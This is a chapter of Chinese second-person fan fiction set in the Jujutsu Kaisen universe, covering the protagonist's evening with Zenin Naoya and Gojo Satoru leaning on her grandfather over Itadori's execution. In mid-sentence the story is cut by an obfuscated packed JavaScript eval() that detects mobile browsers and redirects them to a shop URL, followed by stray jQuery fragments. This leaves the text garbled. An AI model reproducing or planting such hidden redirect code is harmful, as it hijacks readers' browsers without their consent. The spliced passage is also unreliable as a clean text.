4. 第 4 章

作品:《禅院直哉也会有青梅竹马吗

    宴会后你让宪纪先回了京都校,自己则是坐上禅院的车回了家,一路上你都能感觉到直哉时不时瞥来的眼神,虽然不知道他在看什么,但是对你很关注。


    “干嘛一直看我。”你直接问。


    “没有。”直哉立刻否认,眼神飘到别处,“别自作多情,我才没有看你。”


    他的目光灼热得几乎实质化,但是他否认你也懒得去争辩,你点点头表示知道了,不再深究。


    “只是这身衣服不算太差。”直哉还是无法欺骗自己,虽然平时的你也是个大美人,但是穿上和服更有一种欲说还休的禁欲美,在重重布料的包裹下露出的一点肌肤,更是雪色与月色之间的美丽皎洁。


    “那是当然。”你一直知道自己是美丽的,就像五条悟是最强的一样,这是一个毋庸置疑的事实,咒术界的人以私生女和不检点攻击你,却没有一个人指摘过你的容貌。


    “今天五条的眼神让我很不舒服。”直哉没来由地来了这么一句,“就好像我的东西被人盯上了一样。”


    “所以我是东西吗?”你奇怪地看着他,虽然在你眼里他是‘我的直哉’,但是你可没有物化过他,顶多狗塑,如果他觉得你是一件物品,那可就太失礼了。


    “……重点是那个吗?我的意思是,我的女人被别人盯上了。”直哉轻轻哼了一声,小声解释,“是你不让我说‘我的女人’的。”


    “因为我感觉女人并不能完全代表我。”你不假思索地回答道,“就像你也不算我的男人。”


    ‘不算我的男人’这句话让直哉完全不服气,他那双漂亮的金绿眸微微眯起,似乎想反驳你。


    “你是我的直哉而已。”你补全了未尽之语,“男人和直哉不是同一个概念,不知道你能不能理解。”


    “叽里呱啦说什么呢。”直哉大概是理解了你的意思,但是这样柔软的话题又让他有些不适应,于是他干脆伸手捏住你的下巴,将你拉到身前,又像小狗一样啃噬着舔上了你的嘴唇。


    他亲起来就没完没了,你很快就感觉呼吸不畅,于是你很自然地伸手去推他,他的胸膛硬邦邦的,推了半天纹丝不动。


    等车到了乐岩寺宅门口,直哉再三和你确认你真的不跟他回去后才放开你,并且叮嘱你别忘记明天晚上过去。


    “知道了知道了。”你有些敷衍地应下,然后干脆利落地下车,走进了自己家那扇古朴的大门。


    ……


    当你推开大门走进主宅,你就感受到了并不属于这里的咒力,并不是你很敏锐,而是这股咒力实在是非常霸道,是完全无法忽略的那种。


    顺着咒力方向看去,只见刚才宴会上见到的五条悟正大大咧咧地坐在你家的沙发上,一双存在感极强的大长腿几乎叉出茶几的范围,他吃着你给外公买的泡芙和羊羹,惬意如回了自己家一样,你外公黑着脸坐在他的对面,气压极低,随时都有赶客的可能性。


    “哟,小离。”五条悟在你想溜走之前就叫了你的名字,他对你挥了挥你买的羊羹,表扬道,“品味真不错啊,这款糖分很高我很喜欢,不过可能不适合老爷子哦?”


    “五条老师。”被点名了再跑有些不礼貌,虽然不高兴他吃你买的点心,但是你还是挪动到了他的面前,乖乖问好。


    “阿离,你先……”你的外公似乎是想让你先上楼,可是他的话也被五条悟打断。


    “小离,过来坐老师身边嘛~”五条悟拍拍自己身侧的位置,“你小时候可粘我了,都要坐在我的腿上让我讲故事呢。”


    你完全不记得有这回事!


    自你五岁认识了十三岁的直哉,日常你就是跟在直哉身后,说你是直哉带大的也不为过,你记得直哉带你去偷看过好几次禅院甚尔,却不记得你俩和五条悟有什么交集。


    “哈哈,不信吗?那可能是老师我记错了。”五条悟完全没有乱说被你看穿的窘迫,他继续拍沙发,海豹一样欢迎你,“坐嘛坐嘛,正好一起聊聊。”


    你看向外公。


    “坐吧。”既然五条悟都邀请了你,你也不是小孩子了,乐岩寺自然也不坚持赶你回房间。


    你选了一个靠近你外公的位置坐下,女佣为你奉上红茶。


    “哎呀,小离很害羞嘛。”五条悟丝毫没有自觉,他直接起身坐在了你的身边,“不要因为老师是大帅哥就不敢靠近啊。”


    你被突然靠近的五条悟吓一大跳,即使不算咒力,他一米九的身体一下子压近也会给人压力,不过你好歹还是坐稳了,毕竟这是你家,在沙发上吓得摔倒太逊了。


    “五条,你……”乐岩寺虽然习惯了五条悟的性格,但是这不代表他能容忍这巨大一只随便靠近自己的独苗苗、唯一的亲人、最最宠爱的外孙女。


    “在在~好啦好啦。”五条悟放松地往后一躺,长臂搭在沙发上,就好像把你圈入他的领地一般。


    但是因为他并没有真的碰到你,你也没办法做出什么反抗的反应,只能拿起红茶喝起来,尽量不让自己被五条悟影响到。


    “老爷子,小离也是大姑娘了,对她的未来你有什么考虑吗?”五条悟并没有什么僭越的自觉,直接问了关于你的私事,“和禅院联姻?还是加茂?”


    你惊讶他这样多管闲事,同时又挺想听你外公会怎么回答,毕竟你外公看起来非常喜欢宪纪,你也挺担心他做多余的事,这不代表你很想嫁到禅院去,只是加茂也不行。


    “老夫的外孙女如何安排,和你没有什么关系吧?”乐岩寺不悦,“不管是加茂还是禅院,和你五条何干?”


    “不管如何选择,小离都有一个光明的未来吧?”五条悟笑眯眯,态度很好的样子,甚至语带祝福。


    “那是自然。”乐岩寺想都不想便回答,“虽说我是一把老骨头,但是安排好外孙女还是从容,就不劳五条你费心了。”


    “嘛……我只是想。”五条悟改变了一下坐姿,他身体前倾,单手托腮,用很天真无邪的语气说道,“小离是老爷子的孩子,有光明的未来,可是虎杖就要被你们处死了,他也是个孩子吧?”


    你捕捉到了‘虎杖’这个陌生的名字,又联系到五条悟说的死刑,你明白这就是那个宿傩容器。


    乐岩寺神色微变:“你是什么意思,五条?”


    “没有什么意思,只是我希望孩子都有光明的未来。”五条悟脸上的笑容更加放大,“真好啊,老爷子你也有孩子,所以肯定可以理解吧?”


    你不太明白外公和五条悟在打什么机锋,但是你看到外公的脸色有些发青。


    “五条,你在用阿离威胁老夫吗?”乐岩寺用拐杖敲了敲地板,克制着没有发火。


    五条悟不语,只是伸手轻轻揉了揉你的脑袋,用纯真无邪的语气对你说:“小离,你外公好可怕啊。”


    “啊?”你完全不明白发生了什么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055185|194870||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,而且你也不习惯被不熟的人触碰,身体僵硬地想要躲开,可对方是五条悟,你完全躲不开,一头银发都被他揉的有些乱。


    “下次会议,老夫会投死刑的反对票。”乐岩寺阴沉道,“好了五条,带着你吃剩的点心现在离开,不要对老夫的外孙女动手动脚。”


    “老爷子果然通情达理。”五条悟达成了目的愉快起身,他啊呜一口把桌上剩下的一个泡芙塞进嘴里,然后轻轻捏了一把你的脸颊,在乐岩寺几乎实质化的怒火中迈着大长腿离开。


    “外公?”五条悟扯你脸的触感还未消散,他人已经走出老远,你不解地看向外公,并没有完全理解发生了什么。


    “没什么,回房间去吧。”乐岩寺揉了揉自己的眉心,五条悟的意思太过明显,如果不给虎杖悠仁‘未来’,那么他也要干涉你的‘未来’,简直是一命换一命一般无耻,但是又有什么办法?他本来就是最强,再加上那个胡搅蛮缠的劲……


    你有些可惜地看着被五条悟吃完的点心包装,心说这些可都是要排队才能买到的限定品(虽然是禅院家佣人去排的),但是看得出来外公心情不佳,你没有抱怨,立刻起身猫猫祟祟溜上了楼。


    ……


    梳洗完毕,你穿着一身毛巾料的柔软睡裙躺到床上,才刚躺下直哉就打来了视频。


    “嗯?”你把视频打开架到床边,又拿出备用手机来,打算玩一会小游戏。


    “刚才都不回我信息,游戏比我好玩吗。”直哉那张漂亮又不耐烦的脸出现在视频中,你用余光扫了一眼,他大约也是刚洗完澡,那头璀璨的金发还有些湿润,水汽将他白日里有些凌厉的气质熏得柔软了一些。


    “刚才在洗澡。”你头也不抬地建设着手机里模拟经营游戏的餐厅,随口问道,“头发怎么不吹干?”


    “你的也有点湿,去吹干。”直哉打量着你,然后抱臂哼声,“明天起来头痛又要吵我。”


    “……怎么会。”你摸了摸自己的头发,确实是半干,但是你又有些懒惰,于是骗他,“很干很干了!”


    “呵,小骗子。”直哉自然是不信,和你不假思索的谎言相比,他更信自己的眼睛。


    你只能敷衍地拿起吹风机,在他面前又吹了十分钟头发。


    “干了干了,好了我先挂了啊,我要睡觉了!晚安直哉!”放下吹风机你就立刻又拿起备用机,你玩游戏入迷,伸手就关了视频。


    游戏是真的好玩,但是你也真的是有些困,所以你玩着玩着就进入了梦乡。


    半梦半醒之间你感觉有什么东西抱住了你。


    “嗯?”你睁开眼,发现自己在一个结实的怀抱里,都不用看脸你就知道是直哉,你对他的气息实在是太熟悉了。


    “直哉,你怎么过来了?”你调整了一下姿势,让自己在他的怀里睡得更舒服一些。


    听着你梦呓般还未完全清醒的呢喃,直哉只觉得你可爱到爆炸,他搂紧了你,在你耳边轻轻回应:“我想来就来了。”


    你觉得他说的非常有道理,直哉来你家就好像回自己家,你去禅院也好像回自己家(仅限于直哉的院落)。虽然你在乐岩寺宅外布下了防御结界,但是直哉是你家结界的白名单。


    “睡吧。”他有些霸道地揽住你银色的脑袋,将你的脸贴向他的胸口。


    “嗯……”你安心闭上眼,汲取着他的热源,听着他的心跳,睡得更沉了。